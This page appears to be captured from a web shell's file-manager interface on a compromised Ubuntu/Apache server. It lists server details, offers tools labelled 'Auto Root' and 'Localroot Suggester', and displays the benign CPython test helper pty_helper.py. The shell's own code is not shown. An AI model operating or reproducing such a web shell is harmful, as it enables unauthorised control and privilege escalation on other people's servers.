Linux jobworks 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64
Apache/2.4.58 (Ubuntu)
Server IP : 10.0.1.5 & Your IP : 216.73.217.52
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3.12 /
test /
support /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-07-07 06:41
_hypothesis_stubs
[ DIR ]
drwxr-xr-x
2026-07-07 06:41
__init__.py
79.32
KB
-rw-r--r--
2026-06-19 12:46
ast_helper.py
1.79
KB
-rw-r--r--
2026-06-19 12:46
asynchat.py
11.33
KB
-rw-r--r--
2026-06-19 12:46
asyncore.py
19.9
KB
-rw-r--r--
2026-06-19 12:46
bytecode_helper.py
4.88
KB
-rw-r--r--
2026-06-19 12:46
hashlib_helper.py
1.86
KB
-rw-r--r--
2026-06-19 12:46
hypothesis_helper.py
1.35
KB
-rw-r--r--
2026-06-19 12:46
import_helper.py
10.48
KB
-rw-r--r--
2026-06-19 12:46
interpreters.py
5.67
KB
-rw-r--r--
2026-06-19 12:46
logging_helper.py
916
B
-rw-r--r--
2026-06-19 12:46
os_helper.py
23.72
KB
-rw-r--r--
2026-06-19 12:46
pty_helper.py
2.98
KB
-rw-r--r--
2026-06-19 12:46
script_helper.py
11.45
KB
-rw-r--r--
2026-06-19 12:46
smtpd.py
30.01
KB
-rwxr-xr-x
2026-06-19 12:46
socket_helper.py
13.47
KB
-rw-r--r--
2026-06-19 12:46
testcase.py
1.02
KB
-rw-r--r--
2026-06-19 12:46
threading_helper.py
7.86
KB
-rw-r--r--
2026-06-19 12:46
warnings_helper.py
6.69
KB
-rw-r--r--
2026-06-19 12:46
Save
Rename
""" Helper to run a script in a pseudo-terminal. """ import os import selectors import subprocess import sys from contextlib import ExitStack from errno import EIO from test.support.import_helper import import_module def run_pty(script, input=b"dummy input\r", env=None): pty = import_module('pty') output = bytearray() [master, slave] = pty.openpty() args = (sys.executable, '-c', script) proc = subprocess.Popen(args, stdin=slave, stdout=slave, stderr=slave, env=env) os.close(slave) with ExitStack() as cleanup: cleanup.enter_context(proc) def terminate(proc): try: proc.terminate() except ProcessLookupError: # Workaround for Open/Net BSD bug (Issue 16762) pass cleanup.callback(terminate, proc) cleanup.callback(os.close, master) # Avoid using DefaultSelector and PollSelector. Kqueue() does not # work with pseudo-terminals on OS X < 10.9 (Issue 20365) and Open # BSD (Issue 20667). Poll() does not work with OS X 10.6 or 10.4 # either (Issue 20472). Hopefully the file descriptor is low enough # to use with select(). sel = cleanup.enter_context(selectors.SelectSelector()) sel.register(master, selectors.EVENT_READ | selectors.EVENT_WRITE) os.set_blocking(master, False) while True: for [_, events] in sel.select(): if events & selectors.EVENT_READ: try: chunk = os.read(master, 0x10000) except OSError as err: # Linux raises EIO when slave is closed (Issue 5380) if err.errno != EIO: raise chunk = b"" if not chunk: return output output.extend(chunk) if events & selectors.EVENT_WRITE: try: input = input[os.write(master, input):] except OSError as err: # Apparently EIO means the slave was closed if err.errno != EIO: raise input = b"" # Stop writing if not input: sel.modify(master, selectors.EVENT_READ) ###################################################################### ## Fake stdin (for testing interactive debugging) ###################################################################### class FakeInput: """ A fake input stream for pdb's interactive debugger. Whenever a line is read, print it (to simulate the user typing it), and then return it. The set of lines to return is specified in the constructor; they should not have trailing newlines. """ def __init__(self, lines): self.lines = lines def readline(self): line = self.lines.pop(0) print(line) return line + '\n'